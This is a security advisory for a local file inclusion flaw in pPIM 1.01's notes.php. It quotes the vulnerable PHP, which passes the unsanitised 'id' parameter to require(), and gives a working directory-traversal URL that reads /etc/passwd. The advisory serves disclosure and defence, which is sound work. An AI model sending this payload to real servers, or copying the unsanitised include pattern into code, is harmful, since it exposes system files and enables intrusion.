pPIM 1.01 (notes.php id) Local File Inclusion Vulnerability

2008.10.10
Credit: JosS
Risk: High
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# pPIM 1.01 (notes.php id) Local File Inclusion Vulnerability # url: http://www.phlatline.org/docs/files/ppim.zip # # Author: JosS # mail: sys-project[at]hotmail[dot]com # site: http://spanish-hackers.com # team: Spanish Hackers Team - [SHT] # # This was written for educational purpose. Use it at your own risk. # Author will be not responsible for any damage. description of vulnerability: ----------------------------------------------- the variable 'id' has been not defined in code and the variable 'id' is sent by the users. ----------------------------------------------- vuln file: notes.php vuln code: x: >... 107: if (isset($_GET["mode"])) { if ($_GET["mode"]=="edit") { if (isset($_GET['id'])) { $notefile = $_GET['id']; if ($notefile == "new") { $title = ""; $notes = ""; } else { $temp = "notes/" . $notefile; require($temp); 123: } x: <... x: }}} exploit: GET /notes.php?mode=edit&id=[file] sample (xpl): http://www.localhost.com/notes.php?mode=edit&id=../../../../../../../../../../etc/passwd

References:

http://www.securityfocus.com/bid/31571
http://www.milw0rm.com/exploits/6667


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top